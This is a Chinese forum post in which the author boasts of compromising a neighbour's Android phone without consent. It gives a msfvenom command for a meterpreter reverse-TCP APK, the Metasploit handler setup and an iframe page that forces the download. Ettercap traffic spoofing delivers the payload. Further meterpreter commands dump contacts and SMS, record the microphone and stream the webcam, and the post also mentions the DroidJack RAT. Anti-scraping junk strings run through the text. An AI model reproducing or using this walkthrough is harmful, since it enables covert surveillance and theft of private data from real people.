中国网络渗透测试联盟

标题: metasploit+ettercap中间人攻击成功入侵邻居手机 [打印本页]
作者: admin    时间: 2018-10-20 20:30
标题: metasploit+ettercap中间人攻击成功入侵邻居手机

4 y- l; d( q) |7 q1 t5 o 五、msf+ettercap入侵邻居安卓手机 $ J2 D8 m l4 n2 D. V$ w

7 _# ^1 |. Y9 u: [/ \ R. F( P+ \

, L5 l* h! N6 V: S0 x 首先启动msf ( C! v) W( ?% T; U

6 {3 @2 P2 S3 y) W2 I

[6 p( D, z2 ]: k. a& J( u 先用kali生成一个安卓木马，如下命令： # i" l! Y ?) w# \* U0 G

5 W* J7 i0 r2 Q) c" H

) y# s2 d+ s/ k+ @5 H! T5 I- [ Msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=44444 -o ~/Desktop/ribenav.apk + \1 ]5 t# i, w! C4 Q

7 ^- W" p$ ]3 o0 \( U0 g

# v3 _ a0 l) Q! M; g 为了能让对方下载以后安装我这里将马的名字命名为ribenav.apk,哈哈邻居可是个“大色鬼”，就不适用替换下载的方法了，据我所知，邻居频繁使用手机浏览器浏览新闻 8 R7 b1 t. M$ |0 T% a

% c2 {* S9 O9 C6 d

: O2 x# |8 K( Y 然后进入msf 2 {. J: u$ y+ g, c

% W0 w: A( K( z$ C1 ?$ ~) x0 W

& x% Y4 Y) I! M h; s use exploit/multi/handler % Q) z& {3 b+ x- O

* ], h* u7 U2 i! u- r

+ p) v' W4 q5 Z' }, n set payload android/meterpreter/reverse_tcp ; d' V; c' x8 J8 K, |+ s

& Q7 l1 ^0 g# O' B! s) |: _! ^( Z

+ j( m$ l0 |# T4 ?9 T set LHOST 192.168.0.109 //ip为kaili的ip 4 h0 k, ^! Z8 b

2 q5 H- ?+ G) E8 o

# T3 k) [; O W' I2 @ set LPORT 44444 //端口一定要与前面生成的木马的端口一致 4 w& G) F' P% R

( T4 S% b" y9 L; S: t _4 `- c* Y

) z# J1 \3 E) `* f7 n+ m Exploit 5 g4 {. C4 d% c+ G. U! J0 r

* s( R) m% ]9 _' m: @, G

! V* t% E) t* Y* |, N! G   # V) R+ u( k. |$ ]8 @) E

3 v8 D6 |1 P; V5 U$ I. r% U

% F# i9 ~: R5 X: {! _9 J 下面我们开启ettercap -G ) a! W' W, [3 a w! g* `* Y) {

* }: i. e9 ^% y2 ~4 j6 z3 j: n" H0 [% z

& f& D* g. I: C1 H 我物理IP为 6 Q, A6 D# s; O

1 U' G5 x5 E3 h' o- r

, @+ @+ x3 x3 i. }) Z( X% w9 v   9 {# L" b7 A) N( q

( S) o0 `! h- l9 _1 H

0 [1 d9 L$ g" D; { 别到时候再把我物理机欺骗了，之前测试物理机只装腾讯管家是可以成功欺骗的， 3 g. A' K4 K3 A5 k0 {9 Y

$ K- a5 M- k' q9 z# m: s/ {# ~+ c5 _8 R& r

4 `/ @( o( {: p& b P 下面我们来设置一下 0 D$ d! N2 x; a* T0 ?4 a

# ^8 {4 @4 |7 B, ]7 [

/ }% q6 e9 F+ c- g0 w: L! t   $ }5 i6 w) a: v, _. T

: O' B; A) O8 D3 e; P

2 U/ r5 K. s R# ^7 a9 j 在开启欺骗之前我们先把生成的apk马丢到kaili var/www/html下，并创建一个index.htm文件内容为：<iframe src=http://192.168.0.109/ribenav.apk></iframe>,因为apk文件嘛要想直接提示下载，用iframe语句就OK了， e# e% Y8 [ p* q& ?. j

& H5 ^6 S7 O1 T8 P$ J' |8 P' r

; q7 A/ x' W: r   ) S0 n( b& C2 X E

2 z M* N+ r3 _; ?' f/ J0 v

+ G+ {4 W i0 U, b$ }+ {   6 e, O8 D: V5 D; Q8 K7 n

/ i. _7 q: R: P! M0 a+ n

3 N& d/ D; s' {7 J5 r+ p   ) c# D/ [) z2 Y0 J1 F6 @" c

$ n) Y! }2 L5 L0 j, D

6 D4 v% b/ n3 K+ f- Y. p& d   i' q" a$ K: w% w' }

* s2 z3 v2 ]; n! Y$ K% [7 G+ ?$ P4 n5 D

3 X `3 S! s$ w0 ?+ L. r6 ]3 V   & p- h% \2 d! A4 h1 l% m- {# @

- B* t- X# q r+ p0 q" E6 C* `

. ]! i: L: u; v& ]* j   ! f+ F, N) C: U) ~7 @8 `' c0 U

+ L5 `5 Q1 ^8 ~( L. _/ ~

, q# T6 B, }$ @* b/ w7 \: v& |   8 W5 T! c# B4 H0 k+ `

9 G6 i) Y9 u3 h# I. | Z

2 ?' J' j% J1 e/ }! m* z   + v6 i- C2 G- `/ ?$ s; r

: d+ [' F, q+ S- E

' v) L* N. f7 ~/ U   % ~* F/ \6 |" S& h4 e4 ^

, E" V# `& N2 H% p5 ^

. _% \% c( T3 R* S" n8 o   C# C; P) _* M7 w6 W$ K/ d. c

4 S3 F4 B4 w( B5 m/ R$ a

, Y* `8 E8 Q2 F+ t( }   + o' N" ^+ a" j i5 L! Y

; o. f7 @- w1 T( n: C2 G$ X* P

% h& J2 \/ ?9 X   $ }* h4 u' W4 s- a' j2 f

6 P; K+ S' P& A$ P g+ W8 k

u1 L9 r/ ]& j9 ~" A* j& u0 f   2 e1 m8 C# ~8 e h3 ^* E3 `

; C2 s% H) h# V0 @

5 o) u8 J/ M9 ]+ h) [0 ?' M4 k. w 下面我们开始攻击 0 ]3 W& x' D% T# s/ ^

) O: J h- ?5 b' m4 ^

/ S( ~/ ?. P" T9 N8 a   , w: O6 a$ c. u+ A) K' j5 m

+ U2 `( |9 a4 I0 e. Z/ o; I

( E7 t) X2 f+ P   1 F& G& ~& N$ k7 m$ \; z7 _

- I0 y# F( R( w0 h6 k7 c

' {. ?$ K7 _( j   ! e" V$ T2 y5 R* _! y( k

. V% C4 N( P# }1 o1 u

, ]' R6 B. u8 R* y; b* t. u   , }% Q; U' c' h3 P6 n; B) c( R& m

7 e$ c% L9 }8 ]& _

; [$ e$ A' _5 D5 \   . G5 b, F8 ~' a% Z; Z1 G

" i* y9 I' O0 h G- F3 z" S0 I9 r$ f

/ C- l- ?, x/ C9 N! A0 h 大概过了5分钟多，发现反弹成功了 * g5 U6 U# n+ l, S2 j- p. s

: f: \: d% S0 c4 C1 M

9 u% k, C. Y- C* v# l G/ N   0 b: a: v M1 r7 Q

" |. L* O! @" ~7 m! U+ o

" ]0 X! d& G" \8 p! K7 q   5 A4 k# G) X% a$ p

3 n( c9 ?7 \2 Z! {. |2 J2 p: C d4 Z% G

) l- X! w5 P2 e: V   # y2 `; W2 n3 U

0 r* l' l( A: @/ {. a6 i, m- b

( O4 U5 n$ e3 Q3 |8 C0 L   ) f- ?' ]: z& C- U7 I' @: l

8 l1 k8 u' B6 X) E1 h: v" k

% |+ `) [1 \, @   + L( Z8 B9 |+ e- r

' _4 ?) g: I3 b* G$ N

( g1 G" Z( ^& N. v( e! [   6 x1 H6 |! a3 u

5 g* h) n" @9 l) T6 c' a' n

1 } n4 @3 C+ `+ y- B/ }7 r+ C/ w   ( K" S4 H8 q" w$ `6 G, K

& G( v+ ^7 X8 u0 a9 `- p. I

2 k" h" U8 G3 i* S% W3 K 执行命令 0 o" ^! S3 s2 a; c+ W$ N5 s. g

6 C' L% |0 a/ j- H

# m) g7 v& w1 e" k   2 p. v* W& b W' S; K

2 w; L+ D1 Y, r- b- K$ p

2 Z! V9 y+ P$ ^9 F2 V. V dump_contacts    --》这个是导出电话 7 m n/ [+ R/ ?1 ~& M1 X8 c

4 `, E0 M/ M6 y4 G# m8 ?

, C; U2 w9 d% \2 V5 \6 t% a dump_sms --》这个是导出信息 : G: T: u# z0 i& R8 x% Q

) B. K. w. w+ w4 |1 w7 X) U

6 e) K2 t& h2 q record_mic     Record audio from the default microphone for X seconds * ]* X }% R' D9 B. {4 n% l

; V4 C) j2 p+ g& ~0 h0 I- V

5 B; i: P8 n3 c* N     webcam_chat    Start a video chat ( f8 i. {. ]+ l) Q/ O6 {% w; k

$ ~7 a$ |/ _7 a# X

" I- A. @1 l3 i H: N     webcam_list    List webcams 4 ]4 W/ F' f4 K: a- `7 {

4 f* u1 b& B' J2 x! r/ L

( @, G" }2 O: {. m     webcam_snap    Take a snapshot from the specified webcam ! {+ P! y, O) X: U

1 S( c" \; M" |) m% Z8 x, e

; t) P& ?% q+ C# M" C/ `: j webcam_stream  lay a video stream from the specified webcam 2 M- L0 s$ c0 j; N9 X. I, k; C; O

2 V2 r7 E2 Y% A8 z

0 K+ d4 _4 g# p   0 C3 {$ C0 {' T' H0 {

0 \0 x7 o1 Y3 Y

$ P, O0 u! O2 X$ t" f   + X7 W0 n# \' R" [4 G1 _

. R4 i6 o5 C5 M& ~. @

4 t5 D. H4 P! ~& u/ j8 E/ I 我们打开看一下电话薄， 4 `$ F/ C1 P4 d! y2 a

" i8 {, N+ d! Q" i+ ]* D

0 L6 o/ w& j; H4 l   7 h9 U; J$ G5 X0 `5 H+ e4 ]( z

7 C" z0 ^% |6 E1 R

% U7 x3 o( a: z% E1 E; [4 v   $ p' J! K1 e" `7 K: A+ [$ q: b

2 w6 o4 v2 w! w

) K6 } @2 m- V! A+ a' v% Z   & V) z% J( ~& \ l

2 k: G: x; A2 w

1 l9 c( f. {) d# o   / ?& O( p1 \$ c; q% o

( z; h4 j6 |6 Y2 y9 o+ U. s: d- ]8 |7 l

/ l9 H6 B$ p5 F   4 ?0 ^3 I. S4 s, Z8 B8 O- Q! s

4 u" X. U3 H- g+ U6 c

/ x2 D8 U$ N1 B: a* Y' C   ) U# d: C. U5 x; Z: ~1 W$ t! U

; a6 }; H) L, u% B3 x

' r1 i0 g( C0 h- x+ e 我们同时欺骗成DroidJack木马，使用方法如图： * A/ Y' f6 Q( G. i1 t

6 U. A( C% b9 b+ ?$ K$ y* {1 [% U9 g

- D& B6 \% N# C- m7 e8 F   / K A# O K! S* M' u: y' ~, ?

' n& L8 d* V. R7 ~

( C$ A; o7 x T: W' Z( l+ L   6 Y/ v3 @3 w' d" g; h. J) A4 `- F

: L' V2 Q4 M3 e1 \& Z* f

( W% P+ d& d# x0 R' u. }   X4 T. V! d" |8 b5 h

7 ~% C& I1 \! S5 L0 ]3 b; y* l

: K& n& h$ V. u: M! f9 C# d 切记在前面生成完马以后记得在这里选择开关为on，并且对应前面生成马的时候的端口 9 d) M# e8 I! F9 R

- h: h4 l; j6 @8 h

3 [0 ?3 P: l3 `; @   # y Y; O6 L" n- l! V Q) d

+ B1 u- _' M; B) ]5 W% E/ `

( r( _$ M8 X8 w   " D. K' {' A/ R3 p; @

8 j4 N5 [; T0 \! W3 }

+ u; R" q, r: C6 k( W2 D   1 o# a: m7 O% x

- o" b# b* V4 t

- W ~# U2 X3 k$ u 7 ?7 w# I( r2 n

* l2 G4 I- l' u( C y0 g! `2 O

8 X" e3 {0 A$ x$ ~% A5 ]* @3 Z
) s! Z1 G. p* x! {





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2